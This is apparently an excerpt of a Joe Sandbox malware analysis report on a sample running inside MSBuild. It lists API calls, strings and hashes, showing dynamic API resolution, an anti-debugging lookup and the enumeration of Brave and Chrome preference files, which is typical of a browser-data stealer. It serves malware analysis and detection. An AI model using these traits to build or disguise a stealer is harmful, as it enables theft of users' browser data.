GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction ID: d74624c404fea8bc3833097cd15bfd8a5e03d1640ee24043f2693d34696df282
Opcode Fuzzy Hash: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction Fuzzy Hash: DF41A979740624EBC71C9FE5EC89B997F60AB8C712BA0C062F90299190C7FAD5119B3D

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,01383330), ref: 004198A1
GetProcAddress.KERNEL32(76210000,01383348), ref: 004198BA
GetProcAddress.KERNEL32(76210000,01383360), ref: 004198D2
GetProcAddress.KERNEL32(76210000,01383378), ref: 004198EA
GetProcAddress.KERNEL32(76210000,01383390), ref: 00419903
GetProcAddress.KERNEL32(76210000,013833A8), ref: 0041991B
GetProcAddress.KERNEL32(76210000,01384730), ref: 00419933
GetProcAddress.KERNEL32(76210000,01384750), ref: 0041994C
GetProcAddress.KERNEL32(76210000,013833B8), ref: 00419964
GetProcAddress.KERNEL32(76210000,01384770), ref: 0041997C
GetProcAddress.KERNEL32(76210000,01384788), ref: 00419995
GetProcAddress.KERNEL32(76210000,013804B0), ref: 004199AD
GetProcAddress.KERNEL32(76210000,013804C8), ref: 004199C5
GetProcAddress.KERNEL32(76210000,01387800), ref: 004199DE
GetProcAddress.KERNEL32(76210000,01387758), ref: 004199F6
GetProcAddress.KERNEL32(76210000,013804E8), ref: 00419A0E
GetProcAddress.KERNEL32(76210000,01387830), ref: 00419A27
GetProcAddress.KERNEL32(76210000,01387848), ref: 00419A3F
GetProcAddress.KERNEL32(76210000,01380508), ref: 00419A57
GetProcAddress.KERNEL32(76210000,01387860), ref: 00419A70
GetProcAddress.KERNEL32(76210000,01380528), ref: 00419A88
LoadLibraryA.KERNEL32(013877D0,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(01387878,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(01387818,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(013877E8,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(01387890,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75B30000,013878A8), ref: 00419B02
GetProcAddress.KERNEL32(751E0000,01387728), ref: 00419B23
GetProcAddress.KERNEL32(751E0000,013878C0), ref: 00419B3B
GetProcAddress.KERNEL32(76910000,013876F8), ref: 00419B5D
GetProcAddress.KERNEL32(75670000,01380548), ref: 00419B7E
GetProcAddress.KERNEL32(77310000,01380568), ref: 00419B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Preferences, xrefs: 0040C11E
\Brave\Preferences, xrefs: 0040C1DB
Brave, xrefs: 0040C102
Google Chrome, xrefs: 0040C634

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 2eb6bdb71c4d0c8b67282dfda0e09de83d6b52c8dd44e378180f3610d405e002
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: 2eb6bdb71c4d0c8b67282dfda0e09de83d6b52c8dd44e378180f3610d405e002
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 6CAD35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
__aulldiv.LIBCMT ref: 6CAD36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD3773
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD377E
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD37C4
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37CB
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD3801
__aulldiv.LIBCMT ref: 6CAD3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAD3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAD3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAD394C

Strings

GTC, xrefs: 6CAD3912
MOZ_TIMESTAMP_MODE, xrefs: 6CAD35DB
AuthcAMDenti, xrefs: 6CAD3946
GenuntelineI, xrefs: 6CAD3639
QPC, xrefs: 6CAD38FC

Memory Dump Source

Source File: 00000002.00000002.2787729970.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000002.00000002.2787713562.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2787879972.000000006CB4D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2787923439.000000006CB5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2787942087.000000006CB62000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cad0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction ID: 95bf5db5b0ebb5880c8b0fa89e6741b461b4431e1eda18075855c6483917fb64
Opcode Fuzzy Hash: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction Fuzzy Hash: DDB1E671B093509FDB08DF28C85461ABBF6FB8A704F49892EE899D7790D774A844CB81

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149A4
%s\%s, xrefs: 004149FB
%s\*, xrefs: 00414920

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

